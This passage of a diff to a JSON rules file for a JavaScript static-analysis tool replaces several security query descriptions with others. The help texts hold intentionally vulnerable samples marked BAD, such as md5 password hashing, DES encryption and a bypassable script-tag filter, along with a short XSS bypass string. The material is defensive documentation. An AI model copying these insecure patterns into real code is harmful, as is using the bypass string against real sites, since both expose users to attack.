- 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006.\n* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002.\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-730", "external/cwe/cwe-400" ],
-            "description" : "User input should not be used in regular expressions without first being escaped,\n              otherwise a malicious user may be able to inject an expression that could require\n              exponential time on certain inputs.",
-            "id" : "js/regex-injection",
+            "tags" : [ "security", "external/cwe/cwe-312", "external/cwe/cwe-315", "external/cwe/cwe-359" ],
+            "description" : "Sensitive information stored without encryption or hashing can expose it to an\n              attacker.",
+            "id" : "js/clear-text-storage-of-sensitive-data",
             "kind" : "path-problem",
-            "name" : "Regular expression injection",
+            "name" : "Clear text storage of sensitive information",
             "precision" : "high",
             "problem.severity" : "error",
             "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/insufficient-password-hash",
-          "name" : "js/insufficient-password-hash",
+          "id" : "js/xml-bomb",
+          "name" : "js/xml-bomb",
           "shortDescription" : {
-            "text" : "Use of password hash with insufficient computational effort"
+            "text" : "XML internal entity expansion"
           },
           "fullDescription" : {
-            "text" : "Creating a hash of a password with low computational effort makes the hash vulnerable to password cracking attacks."
+            "text" : "Parsing user input as an XML document with arbitrary internal entity expansion is vulnerable to denial-of-service attacks."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Use of password hash with insufficient computational effort\nStoring cryptographic hashes of passwords is standard security practice, but it is equally important to select the right hashing scheme. If an attacker obtains the hashed passwords of an application, the password hashing scheme should still prevent the attacker from easily obtaining the original cleartext passwords.\n\nA good password hashing scheme requires a computation that cannot be done efficiently. Standard hashing schemes, such as `md5` or `sha1`, are efficiently computable, and are therefore not suitable for password hashing.\n\n\n## Recommendation\nUse a secure password hashing scheme such as `bcrypt`, `scrypt`, `PBKDF2`, or `Argon2`.\n\n\n## Example\nIn the example below, the `md5` algorithm computes the hash of a password.\n\n\n```javascript\nconst crypto = require(\"crypto\");\nfunction hashPassword(password) {\n    var hasher = crypto.createHash('md5');\n    var hashed = hasher.update(password).digest(\"hex\"); // BAD\n    return hashed;\n}\n\n```\nThis is not secure, since the password can be efficiently cracked by an attacker that obtains the hash. A more secure scheme is to hash the password with the `bcrypt` algorithm:\n\n\n```javascript\nconst bcrypt = require(\"bcrypt\");\nfunction hashPassword(password, salt) {\n  var hashed = bcrypt.hashSync(password, salt); // GOOD\n  return hashed;\n}\n\n```\n\n## References\n* OWASP: [Password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-916](https://cwe.mitre.org/data/definitions/916.html).\n",
-            "markdown" : "# Use of password hash with insufficient computational effort\nStoring cryptographic hashes of passwords is standard security practice, but it is equally important to select the right hashing scheme. If an attacker obtains the hashed passwords of an application, the password hashing scheme should still prevent the attacker from easily obtaining the original cleartext passwords.\n\nA good password hashing scheme requires a computation that cannot be done efficiently. Standard hashing schemes, such as `md5` or `sha1`, are efficiently computable, and are therefore not suitable for password hashing.\n\n\n## Recommendation\nUse a secure password hashing scheme such as `bcrypt`, `scrypt`, `PBKDF2`, or `Argon2`.\n\n\n## Example\nIn the example below, the `md5` algorithm computes the hash of a password.\n\n\n```javascript\nconst crypto = require(\"crypto\");\nfunction hashPassword(password) {\n    var hasher = crypto.createHash('md5');\n    var hashed = hasher.update(password).digest(\"hex\"); // BAD\n    return hashed;\n}\n\n```\nThis is not secure, since the password can be efficiently cracked by an attacker that obtains the hash. A more secure scheme is to hash the password with the `bcrypt` algorithm:\n\n\n```javascript\nconst bcrypt = require(\"bcrypt\");\nfunction hashPassword(password, salt) {\n  var hashed = bcrypt.hashSync(password, salt); // GOOD\n  return hashed;\n}\n\n```\n\n## References\n* OWASP: [Password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-916](https://cwe.mitre.org/data/definitions/916.html).\n"
+            "text" : "# XML internal entity expansion\nParsing untrusted XML files with a weakly configured XML parser may be vulnerable to denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion.\n\nIn XML, so-called *internal entities* are a mechanism for introducing an abbreviation for a piece of text or part of a document. When a parser that has been configured to expand entities encounters a reference to an internal entity, it replaces the entity by the data it represents. The replacement text may itself contain other entity references, which are expanded recursively. This means that entity expansion can increase document size dramatically.\n\nIf untrusted XML is parsed with entity expansion enabled, a malicious attacker could submit a document that contains very deeply nested entity definitions, causing the parser to take a very long time or use large amounts of memory. This is sometimes called an *XML bomb* attack.\n\n\n## Recommendation\nThe safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxmljs` (though not its SAX parser API), disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action is needed.\n\n\n## Example\nThe following example uses the XML parser provided by the `node-expat` package to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to a DoS attack, since `node-expat` expands internal entities by default:\n\n\n```javascript\nconst app = require(\"express\")(),\n  expat = require(\"node-expat\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    parser = new expat.Parser();\n  parser.on(\"startElement\", handleStart);\n  parser.on(\"text\", handleText);\n  parser.write(xmlSrc);\n});\n\n```\nAt the time of writing, `node-expat` does not provide a way of controlling entity expansion, but the example could be rewritten to use the `sax` package instead, which only expands standard entities such as `&amp;`:\n\n\n```javascript\nconst app = require(\"express\")(),\n  sax = require(\"sax\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    parser = sax.parser(true);\n  parser.onopentag = handleStart;\n  parser.ontext = handleText;\n  parser.write(xmlSrc);\n});\n\n```\n\n## References\n* Wikipedia: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs).\n* Bryan Sullivan: [Security Briefs - XML Denial of Service Attacks and Defenses](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx).\n* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n",
+            "markdown" : "# XML internal entity expansion\nParsing untrusted XML files with a weakly configured XML parser may be vulnerable to denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion.\n\nIn XML, so-called *internal entities* are a mechanism for introducing an abbreviation for a piece of text or part of a document. When a parser that has been configured to expand entities encounters a reference to an internal entity, it replaces the entity by the data it represents. The replacement text may itself contain other entity references, which are expanded recursively. This means that entity expansion can increase document size dramatically.\n\nIf untrusted XML is parsed with entity expansion enabled, a malicious attacker could submit a document that contains very deeply nested entity definitions, causing the parser to take a very long time or use large amounts of memory. This is sometimes called an *XML bomb* attack.\n\n\n## Recommendation\nThe safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxmljs` (though not its SAX parser API), disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action is needed.\n\n\n## Example\nThe following example uses the XML parser provided by the `node-expat` package to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to a DoS attack, since `node-expat` expands internal entities by default:\n\n\n```javascript\nconst app = require(\"express\")(),\n  expat = require(\"node-expat\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    parser = new expat.Parser();\n  parser.on(\"startElement\", handleStart);\n  parser.on(\"text\", handleText);\n  parser.write(xmlSrc);\n});\n\n```\nAt the time of writing, `node-expat` does not provide a way of controlling entity expansion, but the example could be rewritten to use the `sax` package instead, which only expands standard entities such as `&amp;`:\n\n\n```javascript\nconst app = require(\"express\")(),\n  sax = require(\"sax\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    parser = sax.parser(true);\n  parser.onopentag = handleStart;\n  parser.ontext = handleText;\n  parser.write(xmlSrc);\n});\n\n```\n\n## References\n* Wikipedia: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs).\n* Bryan Sullivan: [Security Briefs - XML Denial of Service Attacks and Defenses](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx).\n* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-916" ],
-            "description" : "Creating a hash of a password with low computational effort makes the hash vulnerable to password cracking attacks.",
-            "id" : "js/insufficient-password-hash",
+            "tags" : [ "security", "external/cwe/cwe-776", "external/cwe/cwe-400" ],
+            "description" : "Parsing user input as an XML document with arbitrary internal\n              entity expansion is vulnerable to denial-of-service attacks.",
+            "id" : "js/xml-bomb",
             "kind" : "path-problem",
-            "name" : "Use of password hash with insufficient computational effort",
+            "name" : "XML internal entity expansion",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "8.1"
+            "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/template-object-injection",
-          "name" : "js/template-object-injection",
+          "id" : "js/weak-cryptographic-algorithm",
+          "name" : "js/weak-cryptographic-algorithm",
           "shortDescription" : {
-            "text" : "Template Object Injection"
+            "text" : "Use of a broken or weak cryptographic algorithm"
           },
           "fullDescription" : {
-            "text" : "Instantiating a template using a user-controlled object is vulnerable to local file read and potential remote code execution."
+            "text" : "Using broken or weak cryptographic algorithms can compromise security."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
-            "text" : "# Template Object Injection\nDirectly using user-controlled objects as arguments to template engines might allow an attacker to do local file reads or even remote code execution.\n\n\n## Recommendation\nAvoid using user-controlled objects as arguments to a template engine. Instead, construct the object explicitly with the specific properties needed by the template.\n\n\n## Example\nIn the example below a server uses the user-controlled `profile` object to render the `index` template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n    var profile = req.body.profile;\n    res.render('index', profile);\n});\n```\nHowever, if an attacker adds a `layout` property to the `profile` object then the server will load the file specified by the `layout` property, thereby allowing an attacker to do local file reads.\n\nThe fix is to have the server construct the object, and only add the properties that are needed by the template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n    var profile = req.body.profile;\n    res.render('index', {\n        name: profile.name,\n        location: profile.location\n    });\n});\n```\n\n## References\n* blog.shoebpatel.com: [The Secret Parameter, LFR, and Potential RCE in NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/).\n* cwe.mitre.org: [CWE-73: External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n",
-            "markdown" : "# Template Object Injection\nDirectly using user-controlled objects as arguments to template engines might allow an attacker to do local file reads or even remote code execution.\n\n\n## Recommendation\nAvoid using user-controlled objects as arguments to a template engine. Instead, construct the object explicitly with the specific properties needed by the template.\n\n\n## Example\nIn the example below a server uses the user-controlled `profile` object to render the `index` template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n    var profile = req.body.profile;\n    res.render('index', profile);\n});\n```\nHowever, if an attacker adds a `layout` property to the `profile` object then the server will load the file specified by the `layout` property, thereby allowing an attacker to do local file reads.\n\nThe fix is to have the server construct the object, and only add the properties that are needed by the template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n    var profile = req.body.profile;\n    res.render('index', {\n        name: profile.name,\n        location: profile.location\n    });\n});\n```\n\n## References\n* blog.shoebpatel.com: [The Secret Parameter, LFR, and Potential RCE in NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/).\n* cwe.mitre.org: [CWE-73: External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n"
+            "text" : "# Use of a broken or weak cryptographic algorithm\nUsing broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker.\n\nMany cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be.\n\n\n## Recommendation\nEnsure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing.\n\n\n## Example\nThe following code shows an example of using the builtin cryptographic library of NodeJS to encrypt some secret data. When creating a `Cipher` instance to encrypt the secret data with, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm.\n\n\n```javascript\nconst crypto = require('crypto');\n\nvar secretText = obj.getSecretText();\n\nconst desCipher = crypto.createCipher('des', key);\nlet desEncrypted = desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption\n\nconst aesCipher = crypto.createCipher('aes-128', key);\nlet aesEncrypted = aesCipher.update(secretText, 'utf8', 'hex'); // GOOD: strong encryption\n\n```\n\n## References\n* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf).\n* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n* Common Weakness Enumeration: [CWE-328](https://cwe.mitre.org/data/definitions/328.html).\n",
+            "markdown" : "# Use of a broken or weak cryptographic algorithm\nUsing broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker.\n\nMany cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be.\n\n\n## Recommendation\nEnsure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing.\n\n\n## Example\nThe following code shows an example of using the builtin cryptographic library of NodeJS to encrypt some secret data. When creating a `Cipher` instance to encrypt the secret data with, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm.\n\n\n```javascript\nconst crypto = require('crypto');\n\nvar secretText = obj.getSecretText();\n\nconst desCipher = crypto.createCipher('des', key);\nlet desEncrypted = desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption\n\nconst aesCipher = crypto.createCipher('aes-128', key);\nlet aesEncrypted = aesCipher.update(secretText, 'utf8', 'hex'); // GOOD: strong encryption\n\n```\n\n## References\n* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf).\n* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n* Common Weakness Enumeration: [CWE-328](https://cwe.mitre.org/data/definitions/328.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-073", "external/cwe/cwe-094" ],
-            "description" : "Instantiating a template using a user-controlled object is vulnerable to local file read and potential remote code execution.",
-            "id" : "js/template-object-injection",
+            "tags" : [ "security", "external/cwe/cwe-327", "external/cwe/cwe-328" ],
+            "description" : "Using broken or weak cryptographic algorithms can compromise security.",
+            "id" : "js/weak-cryptographic-algorithm",
             "kind" : "path-problem",
-            "name" : "Template Object Injection",
+            "name" : "Use of a broken or weak cryptographic algorithm",
             "precision" : "high",
-            "problem.severity" : "error",
-            "security-severity" : "9.3"
+            "problem.severity" : "warning",
+            "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/bad-tag-filter",
-          "name" : "js/bad-tag-filter",
+          "id" : "js/biased-cryptographic-random",
+          "name" : "js/biased-cryptographic-random",
           "shortDescription" : {
-            "text" : "Bad HTML filtering regexp"
+            "text" : "Creating biased random numbers from a cryptographically secure source"
           },
           "fullDescription" : {
-            "text" : "Matching HTML tags using regular expressions is hard to do right, and can easily lead to security issues."
+            "text" : "Some mathematical operations on random numbers can cause bias in the results and compromise security."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Bad HTML filtering regexp\nIt is possible to match some single HTML tags using regular expressions (parsing general HTML using regular expressions is impossible). However, if the regular expression is not written well it might be possible to circumvent it, which can lead to cross-site scripting or other security issues.\n\nSome of these mistakes are caused by browsers having very forgiving HTML parsers, and will often render invalid HTML containing syntax errors. Regular expressions that attempt to match HTML should also recognize tags containing such syntax errors.\n\n\n## Recommendation\nUse a well-tested sanitization or parser library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\n\n## Example\nThe following example attempts to filters out all `<script>` tags.\n\n\n```javascript\nfunction filterScript(html) {\n    var scriptRegex = /<script\\b[^>]*>([\\s\\S]*?)<\\/script>/gi;\n    var match;\n    while ((match = scriptRegex.exec(html)) !== null) {\n        html = html.replace(match[0], match[1]);\n    }\n    return html;\n}\n\n```\nThe above sanitizer does not filter out all `<script>` tags. Browsers will not only accept `</script>` as script end tags, but also tags such as `</script foo=\"bar\">` even though it is a parser error. This means that an attack string such as `<script>alert(1)</script foo=\"bar\">` will not be filtered by the function, and `alert(1)` will be executed by a browser if the string is rendered as HTML.\n\nOther corner cases include that HTML comments can end with `--!>`, and that HTML tag names can contain upper case characters.\n\n\n## References\n* Securitum: [The Curious Case of Copy &amp; Paste](https://research.securitum.com/the-curious-case-of-copy-paste/).\n* stackoverflow.com: [You can't parse \\[X\\]HTML with regex](https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags#answer-1732454).\n* HTML Standard: [Comment end bang state](https://html.spec.whatwg.org/multipage/parsing.html#comment-end-bang-state).\n* stackoverflow.com: [Why aren't browsers strict about HTML?](https://stackoverflow.com/questions/25559999/why-arent-browsers-strict-about-html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n* Common Weakness Enumeration: [CWE-185](https://cwe.mitre.org/data/definitions/185.html).\n* Common Weakness Enumeration: [CWE-186](https://cwe.mitre.org/data/definitions/186.html).\n",
-            "markdown" : "# Bad HTML filtering regexp\nIt is possible to match some single HTML tags using regular expressions (parsing general HTML using regular expressions is impossible). However, if the regular expression is not written well it might be possible to circumvent it, which can lead to cross-site scripting or other security issues.\n\nSome of these mistakes are caused by browsers having very forgiving HTML parsers, and will often render invalid HTML containing syntax errors. Regular expressions that attempt to match HTML should also recognize tags containing such syntax errors.\n\n\n## Recommendation\nUse a well-tested sanitization or parser library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\n\n## Example\nThe following example attempts to filters out all `<script>` tags.\n\n\n```javascript\nfunction filterScript(html) {\n    var scriptRegex = /<script\\b[^>]*>([\\s\\S]*?)<\\/script>/gi;\n    var match;\n    while ((match = scriptRegex.exec(html)) !== null) {\n        html = html.replace(match[0], match[1]);\n    }\n    return html;\n}\n\n```\nThe above sanitizer does not filter out all `<script>` tags. Browsers will not only accept `</script>` as script end tags, but also tags such as `</script foo=\"bar\">` even though it is a parser error. This means that an attack string such as `<script>alert(1)</script foo=\"bar\">` will not be filtered by the function, and `alert(1)` will be executed by a browser if the string is rendered as HTML.\n\nOther corner cases include that HTML comments can end with `--!>`, and that HTML tag names can contain upper case characters.\n\n\n## References\n* Securitum: [The Curious Case of Copy &amp; Paste](https://research.securitum.com/the-curious-case-of-copy-paste/).\n* stackoverflow.com: [You can't parse \\[X\\]HTML with regex](https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags#answer-1732454).\n* HTML Standard: [Comment end bang state](https://html.spec.whatwg.org/multipage/parsing.html#comment-end-bang-state).\n* stackoverflow.com: [Why aren't browsers strict about HTML?](https://stackoverflow.com/questions/25559999/why-arent-browsers-strict-about-html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n* Common Weakness Enumeration: [CWE-185](https://cwe.mitre.org/data/definitions/185.html).\n* Common Weakness Enumeration: [CWE-186](https://cwe.mitre.org/data/definitions/186.html).\n"
+            "text" : "# Creating biased random numbers from a cryptographically secure source\nGenerating secure random numbers can be an important part of creating a secure software system. This can be done using APIs that create cryptographically secure random numbers.\n\nHowever, using some mathematical operations on these cryptographically secure random numbers can create biased results, where some outcomes are more likely than others. Such biased results can make it easier for an attacker to guess the random numbers, and thereby break the security of the software system.\n\n\n## Recommendation\nBe very careful not to introduce bias when performing mathematical operations on cryptographically secure random numbers.\n\nIf possible, avoid performing mathematical operations on cryptographically secure random numbers at all, and use a preexisting library instead.\n\n\n## Example\nThe example below uses the modulo operator to create an array of 10 random digits using random bytes as the source for randomness.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nfor (let i = 0; i < 10; i++) {\n    digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK\n}\n```\nThe random byte is a uniformly random value between 0 and 255, and thus the result from using the modulo operator is slightly more likely to be between 0 and 5 than between 6 and 9.\n\nThe issue has been fixed in the code below by using a library that correctly generates cryptographically secure random values.\n\n\n```javascript\nconst cryptoRandomString = require('crypto-random-string');\n\nconst digits = cryptoRandomString({length: 10, type: 'numeric'});\n```\nAlternatively, the issue can be fixed by fixing the math in the original code. In the code below the random byte is discarded if the value is greater than or equal to 250. Thus the modulo operator is used on a uniformly random number between 0 and 249, which results in a uniformly random digit between 0 and 9.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nwhile (digits.length < 10) {\n    const byte = crypto.randomBytes(1)[0];\n    if (byte >= 250) {\n        continue;\n    }\n    digits.push(byte % 10); // OK\n}\n```\n\n## References\n* Stack Overflow: [Understanding “randomness”](https://stackoverflow.com/questions/3956478/understanding-randomness).\n* OWASP: [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n",
+            "markdown" : "# Creating biased random numbers from a cryptographically secure source\nGenerating secure random numbers can be an important part of creating a secure software system. This can be done using APIs that create cryptographically secure random numbers.\n\nHowever, using some mathematical operations on these cryptographically secure random numbers can create biased results, where some outcomes are more likely than others. Such biased results can make it easier for an attacker to guess the random numbers, and thereby break the security of the software system.\n\n\n## Recommendation\nBe very careful not to introduce bias when performing mathematical operations on cryptographically secure random numbers.\n\nIf possible, avoid performing mathematical operations on cryptographically secure random numbers at all, and use a preexisting library instead.\n\n\n## Example\nThe example below uses the modulo operator to create an array of 10 random digits using random bytes as the source for randomness.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nfor (let i = 0; i < 10; i++) {\n    digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK\n}\n```\nThe random byte is a uniformly random value between 0 and 255, and thus the result from using the modulo operator is slightly more likely to be between 0 and 5 than between 6 and 9.\n\nThe issue has been fixed in the code below by using a library that correctly generates cryptographically secure random values.\n\n\n```javascript\nconst cryptoRandomString = require('crypto-random-string');\n\nconst digits = cryptoRandomString({length: 10, type: 'numeric'});\n```\nAlternatively, the issue can be fixed by fixing the math in the original code. In the code below the random byte is discarded if the value is greater than or equal to 250. Thus the modulo operator is used on a uniformly random number between 0 and 249, which results in a uniformly random digit between 0 and 9.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nwhile (digits.length < 10) {\n    const byte = crypto.randomBytes(1)[0];\n    if (byte >= 250) {\n        continue;\n    }\n    digits.push(byte % 10); // OK\n}\n```\n\n## References\n* Stack Overflow: [Understanding “randomness”](https://stackoverflow.com/questions/3956478/understanding-randomness).\n* OWASP: [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-020", "external/cwe/cwe-080", "external/cwe/cwe-116", "external/cwe/cwe-184", "external/cwe/cwe-185", "external/cwe/cwe-186" ],
-            "description" : "Matching HTML tags using regular expressions is hard to do right, and can easily lead to security issues.",
-            "id" : "js/bad-tag-filter",
+            "tags" : [ "security", "external/cwe/cwe-327" ],
+            "description" : "Some mathematical operations on random numbers can cause bias in\n              the results and compromise security.",
+            "id" : "js/biased-cryptographic-random",
             "kind" : "problem",
-            "name" : "Bad HTML filtering regexp",
+            "name" : "Creating biased random numbers from a cryptographically secure source",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "7.8"
+            "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/incomplete-sanitization",
-          "name" : "js/incomplete-sanitization",
+          "id" : "js/bad-code-sanitization",
+          "name" : "js/bad-code-sanitization",
           "shortDescription" : {
-            "text" : "Incomplete string escaping or encoding"
+            "text" : "Improper code sanitization"
           },
           "fullDescription" : {
-            "text" : "A string transformer that does not replace or escape all occurrences of a meta-character may be ineffective."
+            "text" : "Escaping code as HTML does not provide protection against code injection."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Incomplete string escaping or encoding\nSanitizing untrusted input is a common technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters.\n\nHowever, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself.\n\nIn the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective.\n\nEven if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\nOtherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable.\n\n\n## Example\nFor example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them:\n\n\n```javascript\nfunction escapeQuotes(s) {\n  return s.replace(\"'\", \"''\");\n}\n\n```\nAs written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced.\n\nAs mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources.\n\nIf this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` (\"global\") flag instead:\n\n\n```javascript\nfunction escapeQuotes(s) {\n  return s.replace(/'/g, \"''\");\n}\n\n```\nNote that it is very important to include the global flag: `s.replace(/'/, \"''\")` *without* the global flag is equivalent to the first example above and only replaces the first quote.\n\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package.\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
